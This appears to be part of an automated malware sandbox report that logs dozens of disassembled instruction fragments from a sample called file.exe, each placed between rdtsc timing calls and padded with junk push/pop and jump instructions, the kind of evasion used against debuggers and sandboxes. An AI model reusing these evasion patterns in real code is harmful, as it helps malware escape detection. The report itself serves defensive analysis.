Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93A99E second address: 93A9A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93A9A6 second address: 93A9AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93FF56 second address: 93FF5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 93F87D second address: 93F889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F53F481BA76h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 943D45 second address: 943D66 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F53F4F51F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F53F4F51F98h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F53F4F51F9Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94364C second address: 943650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9438C7 second address: 9438F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F4F51FA3h 0x00000007 jmp 00007F53F4F51F9Dh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9438F0 second address: 9438F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9438F7 second address: 943927 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F53F4F51FA3h 0x00000008 pop edx 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jne 00007F53F4F51F96h 0x00000012 jmp 00007F53F4F51F9Eh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9480F0 second address: 9480FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F53F481BA7Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9480FD second address: 948101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94826D second address: 948273 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 948273 second address: 948297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 jmp 00007F53F4F51FA2h 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007F53F4F51F96h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 948297 second address: 94829B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94829B second address: 9482B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F53F4F51FA2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 948408 second address: 948426 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53F481BA85h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 948426 second address: 948440 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jns 00007F53F4F51F96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d jne 00007F53F4F51F96h 0x00000013 push edi 0x00000014 pop edi 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 948589 second address: 948594 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F53F481BA76h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EE0A0 second address: 8EE0A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EE0A4 second address: 8EE127 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a movsx edi, dx 0x0000000d mov ch, F9h 0x0000000f mov ebx, dword ptr [ebp+12483141h] 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F53F481BA78h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 00000016h 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f jmp 00007F53F481BA85h 0x00000034 sub dword ptr [ebp+122D1F8Ah], ecx 0x0000003a add eax, ebx 0x0000003c adc di, FDFAh 0x00000041 push eax 0x00000042 jmp 00007F53F481BA83h 0x00000047 mov dword ptr [esp], eax 0x0000004a mov ecx, 60E78450h 0x0000004f push 00000004h 0x00000051 pushad 0x00000052 xor bh, FFFFFFB2h 0x00000055 or dword ptr [ebp+122D2897h], edi 0x0000005b popad 0x0000005c nop 0x0000005d pushad 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 948857 second address: 948863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 94929C second address: 9492A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F53F481BA76h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9492A8 second address: 9492C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F53F4F51F9Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9492C4 second address: 9492CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 952473 second address: 952477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 952477 second address: 95247B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95247B second address: 952481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 952481 second address: 952486 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 950688 second address: 950692 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 950692 second address: 9506AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F481BA89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9506AF second address: 9506CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F53F4F51F96h 0x00000009 jmp 00007F53F4F51FA2h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9506CC second address: 9506E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53F481BA7Ch 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9506E0 second address: 9506E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 950B1F second address: 950B34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F53F481BA7Ah 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 951893 second address: 9518A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F53F4F51F9Ch 0x00000009 jg 00007F53F4F51F96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9518A9 second address: 9518BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F481BA81h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9521A8 second address: 9521CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F4F51FA0h 0x00000007 jmp 00007F53F4F51F9Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9560C7 second address: 9560DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F53F481BA7Dh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9560DB second address: 9560E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 955226 second address: 95523D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53F481BA80h 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95538C second address: 955390 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 955390 second address: 955396 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 955923 second address: 955968 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jc 00007F53F4F51F96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F53F4F51FA6h 0x00000014 jmp 00007F53F4F51FA9h 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e push esi 0x0000001f pop esi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 955AC9 second address: 955ACD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 955C6C second address: 955C89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F4F51FA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 955DB1 second address: 955DC3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F53F481BA76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F53F481BA76h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 955DC3 second address: 955DE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F4F51FA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95BE35 second address: 95BE47 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F53F481BA76h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 95BE47 second address: 95BE4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965314 second address: 965318 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965318 second address: 96531C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96531C second address: 96532B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F53F481BA76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96532B second address: 965331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 963406 second address: 963423 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F53F481BA7Ch 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c jc 00007F53F481BA76h 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9639ED second address: 9639F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9639F3 second address: 963A0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53F481BA87h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 963B48 second address: 963B54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F53F4F51F96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 963B54 second address: 963B59 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9640F9 second address: 9640FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9640FD second address: 964120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F53F481BA88h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964A00 second address: 964A04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 964A04 second address: 964A08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965123 second address: 965133 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jne 00007F53F4F51F96h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965133 second address: 965139 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 965139 second address: 96519A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F53F4F51FA1h 0x00000008 jmp 00007F53F4F51FA8h 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 jmp 00007F53F4F51F9Eh 0x0000001b pop edx 0x0000001c jmp 00007F53F4F51FA3h 0x00000021 push eax 0x00000022 push edx 0x00000023 jo 00007F53F4F51F96h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96519A second address: 96519E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 962FD0 second address: 962FDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 962FDB second address: 962FE7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 962FE7 second address: 962FF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F53F4F51F96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96C2B2 second address: 96C2B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96BCB2 second address: 96BCB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96BCB6 second address: 96BCBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96BCBA second address: 96BCC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96BE35 second address: 96BE3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96BE3B second address: 96BE41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96BE41 second address: 96BE45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96BFBC second address: 96BFCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F53F4F51F98h 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 96BFCD second address: 96BFD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971DB3 second address: 971DC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F53F4F51F96h 0x0000000a jp 00007F53F4F51F96h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971DC3 second address: 971DD1 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F53F481BA76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971DD1 second address: 971DEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53F4F51FA6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9793C2 second address: 9793CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 ja 00007F53F481BA76h 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D980 second address: 97D9C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F4F51FA6h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnc 00007F53F4F51FB4h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 pop eax 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97D9C6 second address: 97D9CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9891D0 second address: 9891E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F4F51F9Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F53F4F51F96h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9891E4 second address: 9891E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98D866 second address: 98D86B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98D86B second address: 98D873 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98D873 second address: 98D877 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98D877 second address: 98D883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98FB53 second address: 98FB5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9964DA second address: 9964E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 994FBB second address: 994FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 994FC2 second address: 994FC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9950F1 second address: 995104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F53F4F51F96h 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 995289 second address: 9952B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F53F481BA87h 0x00000009 push ebx 0x0000000a jc 00007F53F481BA76h 0x00000010 pop ebx 0x00000011 popad 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 jng 00007F53F481BA76h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9956E9 second address: 9956F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99C0F5 second address: 99C11A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F53F481BA89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F53F481BA78h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99BCB2 second address: 99BCB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
